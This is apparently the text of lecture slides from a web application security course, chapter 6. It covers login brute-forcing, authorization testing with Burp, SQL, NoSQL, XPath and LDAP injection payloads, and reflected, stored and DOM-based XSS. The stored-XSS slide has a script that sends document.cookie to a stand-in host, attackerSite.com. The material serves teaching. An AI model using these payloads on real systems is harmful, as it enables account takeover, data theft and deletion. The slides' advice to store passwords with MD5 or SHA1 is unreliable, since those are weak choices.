Chapter 6 : Attack Execution (2)

Attack Execution (2)
Web Application Security Fast Guide (book slides) By Dr.Sami Khiami
Chapter 6

Web application Authentication methods
2017-05-31 Web Application Security Fast Guide (book slides) Slide 2By Dr.Sami Khiami
Auth.
Services
Client
SSL
HTTP
Auth.
HTML
Form
Web Application Authentication
 HTML Form based authentication: most common
used credentials are mostly the user name and a
password but sometimes in critical application
extra credentials are applied
 HTTP based basic or digest authentication
where HTTP basic sends credentials encoded
unencrypted with base64 encoding in time where
digest method uses hash function to encrypt
credentials and nonce value from the server this is
why basic HTTP authentication should be used
only if the channel is secure with (Https). Those
methods is usually used on LAN.
 Client SSL certificate with or without a smart
card but this can represent a distribution problem
 Windows-integrated authentication using NTLM
or Kerberos and authentication services like
windows passport.

Bad Password Attack
Attack requirement:
 Week or no password
Attack Process
a. Try empty and default values for
password.
b. Try common dictionary
password.
c. If you own an account or self
registered try short passwords,
user name like passwords to
check if that is permitted to
disclose the password rules.

Login Process
Attack requirement:
A. No or client side only check for number of login fails.
B. Not very gonium powerful password.
C. If a self-registering account Is available better to create an account.
Attack process:
A. Before going directly to automate the attack explore the locking
policy manually beginning by trying at least (10) bad password
values on the same account, check any messages and accessibility
of the account with the right password.
B. If the account was locked, try to monitor any cookie to discover it
the locking is based on client side information that you can
manipulate.
C. See if the system allows you to login with right user name and
password, if yes you can keep guessing.
D. Monitor to find any difference in response between bad login and
successful one to depend on when start in automated phase. A
Burp comparer tool can provide a good way to do that

Attack process (cont):
E. Use an automation tool to iteratively try different user names and password. (Burp is an example)
F. Monitor results and collect broken account information.
G. Different messages can be a very good pointer that you did a bad guess the user name only or both credentials.

Password management exploit
Attack requirement:
1. No or weak locking policy
2. Verbos messages for false and valid login
3. Storing password locally through weak
identifier
Attack process:
1. For change and forgot password process is
totally similar to brute force process
2. As for the password remember option user
should check for cookies and any stored
non encrypted or weakly encrypted value or
identifier by capturing and examining the
sent request after activating remember me
option using a tool Like Burp proxy.
3. If the identifier can be easily generated,
generate different identifiers and iteratively
check if this will allow compromising other
accounts using Burp to achieve that.

Impersonation Functionality
Attack requirement:
1. The impersonation functionality is using a back door or hidden functionality
2. Minimal control on the access through that functionality (vulnerable to brute force or bad password)
Attack process:
1. Use the same process applied in brute force attack or bad password depending on the case
Account
User
Supervisor
impersonating
account
Normal
login
process
Backdoor
login minimal
security

MISCELLANEOUS
• Other issues related password might be things like vulnerabilities caused by inefficient handling of errors in login
process or multistage login.
• The storage of non-encrypted password values might also represent a serious problem which makes the usage of MD5
or SH1 necessary to eliminate such threat.
MISCELLANEOUS

Authorization
Horizontal
Vertical Contextual
Business Logic
F.m,1
F.1,1 F.1,2 F.1,3
F.m,n
F.1,n
1. Vertical authority: it is about the level of
access to specific functionality set for
each type of users an example is the
difference in authority between
administrator and a normal user.
2. Horizontal authority: this type of
authority is about controlling the access
in the same functionality, as example
having the authority to access the web
mail functionality does not mean ability
to access any email account.
3. Contextual authority: this type of
authority is related to current application
state which can be explained in the
perspective of multistage process where
available functionalities are specified
according to present state.

Authorization
Attack Process:
A. Configure Burp as a proxy and disable interception, browse all the application’s content within one user
context. If the target is to test vertical access controls higher privileges account should be used.
B. Be sure to map all functionalities by checking Burp’s site map.
C. use the context menu to select the “compare site maps” feature.
D. To select the second site map to be compared, you can either load this
from a Burp state file or have Burp dynamically re-request the first site
map in a new session context.
E. To test horizontal access controls between users of the same type, you can simply load a state file you saved
earlier,
having mapped the application as a different user. For testing vertical access controls, it is preferable to re-
request the high-privilege site map as a low-privileged user, because this ensures complete coverage of the
relevant functionality.
F. To re-request the first site map in a different session, you need to configure Burp’s session-handling
functionality with the details of the low-privilege user session (for example, by recording a login macro or
providing a specific cookie to be used in requests
G. It is necessary that define suitable scope rules to prevent Burp from requesting any logout function.

Authorization

Attack Data stores
attacker finds a way to interface the data store through the
application functionalities or being able to access it directly
in case of Data remote access availability.

SQL Injection
SQL
Attack requirement:
No sanitization functionality to neutralize special words or characters matching an instruction in the SQL grammar.
To check the possibility of SQL injection attack you can do the following tests:
 Try to input a single quotation and monitor change in behavior
 Try two quotes and monitor change in behavior.
 Try to use concatenation on input fieds ‘||’ FOO (in oracle) or ‘+’Foo (in ms sql) or ‘ ‘Foo (in mysql) if no
difference is detected then the application is vulnerable

SQL Injection
Attack Select statement
Listing
SELECT author, title, year FROM
books WHERE publisher = ‘pearson’
and published=1
Attack
Using the value (pearson’ OR ‘a’=’a)
will make the query show all book
information for all publishers.
SELECT author, title, year FROM
books WHERE publisher = ‘pearson’
OR ‘a’=’a’ and published=1
Select * from users where username
= ‘admin’- -‘ and password = ‘anyPass’
Attack insert
In this example an insert statement
dedicated to create a new account
can be compromised to create an
account with administrator privileges.
Listing
INSERT INTO users (username,
password, ID, privs) VALUES
(‘daf’,‘secret’, 2248, 1)
Attack
We can simply use the value foo’,
‘bar’, 9999, 0)-- to enable this hack
Attack update statement
This example will use injection in the
update statement related to password
changing functionality to change the
administrator password.
Listing
UPDATE users SET password=’theNewPass’
WHERE user = ‘sami’ and password
= ‘oldPassword’
Attack
If the new password value is set to (
admin’ or 1=1-- ) the resulting query will
become
UPDATE users SET password=’theNewPass’
WHERE user = ‘admin’ or 1=1

SQL Injection
Attacking Delete statement
Using a method similar to the one
used with update statement attacker
can cause a great damage injecting
into delete statement
The following listing is dedicated to
remove an order item from an order
Listing
DELETE FROM orders WHERE
order_item_code=’p23453’ and
order_Id=12
Attack:
Setting order_item_code value to( ‘
or 1=1 )will cause the deletion of all
orders in orders table.
DELETE FROM orders WHERE
order_item_code=’’ or 1=1 and
order_Id=12
Attacking Using UNION
Using union can open the door widely open to execute a separated select query. a
simple query like the one shown in the following listing can be exploited to retrieve
user names and passwords for all users.
Listing
Select * from titles where username=’sami’
Attack:
Setting the username value to ( sami’ UNION SELECT uid,username,password FROM
users-- )
Select * from titles where username=’sami’ UNION SELECT uid,username,password
FROM users--
But this attack cannot be executed if we don’t know the names of tables and
columns so we can try to inject the following (as information_schema is supported
by ms sql and mysql)
SELECT table_name,column_name FROM information_schema.columns where
column_name LIKE ‘%PASS%’

No SQL Injection
Listing
$m = new Mongo();
$db = $m->cmsdb;
$collection = $db->user;
$js = “function() {
return this.username == ‘$username’ & this.password ==
‘$password’; }”;
$obj = $collection->findOne(array(‘$where’ => $js));
if (isset($obj[“uid”]))
{$logged_in=1;}
else
{$logged_in=0;}
Attack:
Using the value of ( a’ || 1==1 || ‘a’==’a ) for user name and any
password this will result in executing the following code:
(this.username == ‘a’ || 1==1) || (‘a’==’a’ & this.password == ‘aaa’);

XPATH Injection
Listing
<addressBook>
<address>
<firstName>William</firstName>
<surname>Gates</surname>
<password>MSRocks!</password>
<email>billyg@microsoft.com</email>
<ccard>5130 8190 3282 3515</ccard>
</address>
<address>
<firstName>Chris</firstName>
<surname>Dawes</surname>
<password>secret</password>
<email>cdawes@craftnet.de</email>
<ccard>3981 2491 3242 3121</ccard>
</address>
</addressBook>
The following XPath query effectively verifies the user-
supplied credentials and retrieves the relevant user’s
credit card number:
//address[surname/text()=’Dawes’ and
password/text()=’secret’]/ccard/text()
Attack:
The usage of the value ( ‘ or ‘a’=’a ) as password will result
retrieving the credit card information for all users.
If the structure of the document is not known it will be
difficult to know how exactly what to write, usually we
solve this problem using what is called blind Xpath
injection.
‘ or substring(name(parent::*[position()=1]),2,1)=’a
‘ or substring(name(parent::*[position()=1]),2,1)=’b
‘ or substring(name(parent::*[position()=1]),2,1)=’c
‘ or substring(name(parent::*[position()=1]),2,1)=’d
Etc…
XPATH = //tagname[@Attribute=‘Value’]

LDAP Injection
Attack requirement:
No proper sanitization on the user
input that will be part of an LDAP
query.
Attack example:
If the following is the listing of a
query used in the application to
retrieve a sale personnel
information in a specific city.
(&(city=LA )(department=sales))
Now if the injection is done to
change the city to
*) (department=*))
This will cause the query to return
employee information in all
departments and cities.
LDAP uses filters joined by operators to search the directory, the
query syntax is as illustrated in the following listing
(operator (key1=value1 value2 …) (key2=value1 …. valuen))
Operator can be something like (&) for conjunctive queries and (|) for
disjunctive queries
(|(city=LA )(department=design)(city=CA )(department=R&D))

Attack Business Logic
BusinessLogic
1. Encrypt and disclose the key
2. Overloading dual privileges
3. Multistage manipulation
4. Overlapped checks
5. Bulk but for a while
6. Forgotten escape
7. Defence+Defence=?
8. Race condition

Cross Site Scripting (XSS)
XSS
Cross
Site
Scripting
Echo
Based
DOM
Based
Stored
Based

Reflection (Echo) Based Attack
Attack requirement:
A. The user access a page that contains a
vulnerable page with echo
B. No sanitization is applied on the
reflected input passed to that page
Attack process:
A. The attacker creates a link to the trusted
site containing the vulnerable echo page
passing the JavaScript as parameter.
B. The server will send the response
containing the inserted script.
C. The client executes the JavaScript and
containing any special message or
forwarding request to phished site or
simply send back session information
which will help the attacker in initiating
a session hijacking.
Script executed
Vulnerable page
that echo part
or all the sent
input with no
sanitization
Server
Client
Send Request to the page with
specific input crafted by attacker
through link as parameter containing
script
Response with
page containing
the echoed script
@
Example:
A. The attacker creates an email containing a link as follow:
<a href=”http://theTrustedVulnerableSite.com/echoPage.php?message=<script>alert (‘i am the
attack payload’)</script>” >Visit page</a>
A. The echo page will generate the page containing the script, the script will be executed and
show the alert.in real life example the payload script can be s script that sends session cookie
information automatically to attacker.

Stored Script Attack
Attack requirement:
1. The attacker has write access to shared
contents on a web page that will be stored on
the back end.
2. The site holding the shared content does not
apply any sanitization before storing the
submitted data.
3. The victim has access to the same web page
with shared contents
Attack process:
The attacker accesses the vulnerable site and
submit a content poisoned with java script
containing the attack payload
The attack payload might be anything from session
hijacking code by trying to retrieve (document.
Cookie) object, to forwarding to phished site owned
by attacker.
The victim accesses the shared contents loads the
poisoned contents.
The attack payload script is executed on the victim
machine.
Any Text as an answer to the question
<script>
serialize = function(obj) {
var str = [];
for(var p in obj)
if (obj.hasOwnProperty(p)) {str.push(encodeURIComponent(p) + "=" +
encodeURIComponent(obj[p]));
}
return str.join("&");
}
var xhttp = new XMLHttpRequest();
var serializedData= serialize(documnent.cookie);
xhttp.open("GET", http://attackerSite.com/capture.php?"+serializedData , false);
xhttp.send();
</script>
Client
attacker
Page with
shared
contents
Client execute the script embedded in the shared content

DOM Based Attack
Attack requirement:
The vulnerable page contains a script that
extract info from URL and show it back
without sanitization.
Attack process:
A. The attacker creates a link that uses the
vulnerable page with parameter
containing the attacker url and a script.
B. The attacker will be able to steal the
cookie object of the victim and send it to
its site.
The vulnerable page use a mechanism to show the name of the current page at the top of the page using javascript.
<script>
var pos=document.URL.indexOf("pageName=")+9; document.write(document.URL.substring(pos,document.URL.length));
</script>
the attacker sends a message containing the following link
<a
href=”http://www.theVulnerableSite/index.php?pagename=http://attackerSite.com/index.php?message=<script>document.cookie</script>”
> the sent link</a>
This will be sufficient to send the cookie object to attacker site when clicked by the victim.
Client
Vulnerable
page
Client execute the script embedded in the shared content a release attack
@
Send a request to the vulnerable page
with poisoned parameter
Attacker creates and send a crafted link
poisoned with
The page will be sent as is without any info
related to attacker submitted parameters
1
2
3
4

End Of Chapter6

Chapter 6 : Attack Execution (2)

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Chapter 6 : Attack Execution (2)

Similar to Chapter 6 : Attack Execution (2) (20)

Recently uploaded

Recently uploaded (20)

Chapter 6 : Attack Execution (2)